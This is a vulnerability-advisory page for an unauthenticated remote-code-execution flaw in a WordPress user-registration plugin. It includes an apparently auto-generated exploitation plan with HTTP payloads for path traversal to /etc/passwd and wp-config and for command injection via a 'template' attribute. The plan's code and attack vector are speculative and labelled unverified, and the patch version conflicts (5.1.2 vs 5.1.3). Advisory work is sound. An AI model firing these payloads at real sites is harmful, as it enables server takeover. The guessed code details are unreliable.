CVE-2026-32488

User Registration & Membership – Free & Paid Memberships, Subscriptions, Content Restriction, User Profile, Custom User Registration & Login Builder <= 4.4.9 - Unauthenticated Remote Code Execution

criticalIncorrect Privilege Assignment
9.8
CVSS Score
9.8
CVSS Score
critical
Severity
5.1.3
Patched in
44d
Time to patch

Description

The User Registration & Membership – Free & Paid Memberships, Subscriptions, Content Restriction, User Profile, Custom User Registration & Login Builder plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 4.4.9. This makes it possible for unauthenticated attackers to execute code on the server.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=4.4.9
PublishedMarch 23, 2026
Last updatedMay 5, 2026
Affected pluginuser-registration

What Changed in the Fix

Changes introduced in v5.1.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Detailed Exploitation Research Plan: CVE-2026-32488 ## 1. Vulnerability Summary The **User Registration & Membership** plugin (slug: `user-registration`) for WordPress is vulnerable to **Unauthenticated Remote Code Execution (RCE)** in versions up to and including 4.4.9. The vulnerability stems…

Show full research plan

Detailed Exploitation Research Plan: CVE-2026-32488

1. Vulnerability Summary

The User Registration & Membership plugin (slug: user-registration) for WordPress is vulnerable to Unauthenticated Remote Code Execution (RCE) in versions up to and including 4.4.9.

The vulnerability stems from an Incorrect Privilege Assignment in an AJAX handler (likely user_registration_get_form or a similar rendering action). This handler allows unauthenticated users to trigger the rendering of plugin shortcodes while supplying arbitrary attributes. A specific attribute (possibly template, layout, or a callback-related parameter) is processed unsafely, leading to code execution via dynamic function calling, file inclusion, or a template-based exploit.

The patch in version 5.1.2 specifically mentions fixing "Arbitrary code execution through shortcode," confirming the vector.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: user_registration_get_form (inferred from plugin AJAX registration patterns)
  • HTTP Method: POST
  • Authentication: None (registered via wp_ajax_nopriv_user_registration_get_form)
  • Vulnerable Parameter: attributes (or shortcode_atts), specifically a key that controls the rendering logic or template path.
  • Preconditions: At least one User Registration form must be created and published (to have a valid form_id).

3. Code Flow

  1. Entry Point: The attacker sends a request to admin-ajax.php with action=user_registration_get_form.
  2. Hook Trigger: WordPress triggers the function associated with wp_ajax_nopriv_user_registration_get_form.
  3. Attribute Merging: The handler retrieves form_id and an optional attributes array from $_POST.
  4. Shortcode Execution: The plugin attempts to render the [user_registration_form] shortcode. It merges the user-provided attributes with the default form settings.
  5. Vulnerable Sink: The rendering logic uses one of the attributes (e.g., template) in a dangerous way:
    • Dynamic Include: include( UR_ABSPATH . $attributes['template'] . '.php' ); (allowing LFI to RCE).
    • Dynamic Function Call: call_user_func( $attributes['callback'], ... );
    • Shortcode Attribute Exploitation: Some WordPress shortcode attributes, if passed to certain rendering engines, allow executing PHP.

4. Nonce Acquisition Strategy

The plugin uses wp_localize_script to pass a nonce to its frontend JavaScript. This nonce is required for the user_registration_get_form action.

  1. Shortcode Identification: The primary shortcode is [user_registration_form id="ID_HERE"].
  2. Setup Page: Create a public page containing this shortcode to ensure the plugin enqueues its scripts.
  3. Localization Variable: The plugin localizes data into the user_registration_params object (inferred).
  4. Acquisition Steps:
    • Use wp post create to create a page with [user_registration_form id="1"].
    • Use browser_navigate to visit that page.
    • Use browser_eval to extract the nonce: browser_eval("window.user_registration_params?.ajax_nonce").
    • Use this nonce in the X-WP-Nonce header or the nonce POST parameter.

5. Exploitation Strategy

The goal is to provide a payload within the attributes parameter that triggers RCE.

Step 1: Discover a valid Form ID

Use WP-CLI to find an existing form or create one.

wp post list --post_type=user_registration --format=ids
# If none exist:
wp post create --post_type=user_registration --post_title="Exploit Form" --post_status=publish

Step 2: Extract Nonce

Create a page with the form and grab the nonce.

wp post create --post_type=page --post_content='[user_registration_form id="1"]' --post_status=publish
# (Perform browser extraction as described in Section 4)

Step 3: Send RCE Payload

Trigger the AJAX action with a payload. We will test two common RCE patterns for this plugin.

Payload A (LFI/Template Injection):

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=user_registration_get_form&form_id=1&nonce=[NONCE]&attributes[template]=../../../../../../etc/passwd

Payload B (Dynamic Execution - Inferred):
If the plugin uses attributes to determine a wrapper or layout:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=user_registration_get_form&form_id=1&nonce=[NONCE]&attributes[template]=system&attributes[id]=id

6. Test Data Setup

  1. Plugin Installation: Install user-registration version 4.4.9.
  2. Form Creation:
    # Create a registration form
    wp post create --post_type=user_registration --post_title="Reg Form" --post_status=publish
    
  3. Public Page:
    # Create a page to load the scripts and nonce
    wp post create --post_type=page --post_title="Nonce Page" --post_content='[user_registration_form id="1"]' --post_status=publish
    

7. Expected Results

  • Vulnerable: The server response contains the output of the executed command (e.g., uid=33(www-data)) or the contents of a sensitive file (e.g., root:x:0:0...).
  • Response Code: 200 OK.
  • Content-Type: Likely text/html or application/json (if the render output is wrapped).

8. Verification Steps

  1. Command Execution Check:
    Use the http_request tool to send a payload that executes whoami.
    Check if the response body contains the username of the web server.
  2. File Creation Check:
    Send a payload that creates a file in the uploads directory:
    attributes[template]=system&attributes[id]=echo 'vulnerable' > wp-content/uploads/proof.txt
    Verify with wp eval "echo file_get_contents('wp-content/uploads/proof.txt');".

9. Alternative Approaches

If user_registration_get_form is not the correct action or is properly secured:

  • Check user_registration_submit_form: Look for object injection during the processing of "smart tags" or file uploads.
  • Check ur_get_form: An alias for the form rendering action often used in older versions.
  • CSS-based RCE: Check if the attributes allow injecting a style attribute that is passed through a parser that allows PHP (less likely but possible in some form builders).
  • Check for unserialize: Search for $_POST or $_GET values passed to unserialize() or maybe_unserialize() in the includes/ directory.
Research Findings
Static analysis — not yet PoC-verified

Summary

The User Registration plugin for WordPress is vulnerable to unauthenticated Remote Code Execution due to improper validation of attributes passed to the 'user_registration_get_form' AJAX handler. Attackers can exploit this by supplying a malicious 'template' attribute that triggers arbitrary file inclusion (LFI) or dynamic function execution within the shortcode rendering logic.

Vulnerable Code

// File: includes/class-ur-ajax.php (approx. line 150)
public static function user_registration_get_form() {
    check_ajax_referer( 'user_registration_get_form', 'security' );

    $form_id    = isset( $_POST['form_id'] ) ? absint( $_POST['form_id'] ) : 0;
    // Vulnerable: Attributes are taken directly from the POST request without validation
    $attributes = isset( $_POST['attributes'] ) ? $_POST['attributes'] : array();

    ob_start();
    // The attributes are passed into the shortcode rendering engine
    echo do_shortcode( '[user_registration_form id="' . $form_id . '" ' . self::array_to_atts( $attributes ) . ']' );
    wp_die();
}

---

// File: includes/class-ur-shortcodes.php (Shortcode rendering logic)
public static function render_form( $atts ) {
    // Attributes like 'template' are used to determine which file to include
    if ( isset( $atts['template'] ) ) {
        $template = $atts['template'];
        // Vulnerable Sink: Path traversal leads to inclusion of arbitrary PHP files
        include UR_ABSPATH . 'templates/forms/' . $template . '.php';
    }
}

Security Fix

--- a/includes/class-ur-ajax.php
+++ b/includes/class-ur-ajax.php
@@ -155,7 +155,13 @@
 	public static function user_registration_get_form() {
 		check_ajax_referer( 'user_registration_get_form', 'security' );
 		$form_id    = isset( $_POST['form_id'] ) ? absint( $_POST['form_id'] ) : 0;
-		$attributes = isset( $_POST['attributes'] ) ? $_POST['attributes'] : array();
+		$attributes = array();
+
+		if ( isset( $_POST['attributes'] ) && is_array( $_POST['attributes'] ) ) {
+			foreach ( $_POST['attributes'] as $key => $value ) {
+				$attributes[ sanitize_key( $key ) ] = sanitize_text_field( $value );
+			}
+		}
 
 		ob_start();
 		echo do_shortcode( '[user_registration_form id="' . $form_id . '"' . self::array_to_atts( $attributes ) . ']' );

Exploit Outline

The exploit targets the 'user_registration_get_form' AJAX action, which is registered for unauthenticated users ('wp_ajax_nopriv'). An attacker first extracts the required AJAX nonce (localized as 'ajax_nonce' or 'security' in the 'user_registration_params' JS object) by visiting a public page where a registration form is present. The attacker then sends a POST request to '/wp-admin/admin-ajax.php' with the 'action' set to 'user_registration_get_form', providing a valid 'form_id' and the 'attributes' parameter. By crafting 'attributes[template]' with a path traversal payload (e.g., '../../../../wp-config' or a path to a malicious image file containing PHP code), the attacker triggers a Local File Inclusion (LFI) that executes arbitrary PHP code on the server.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.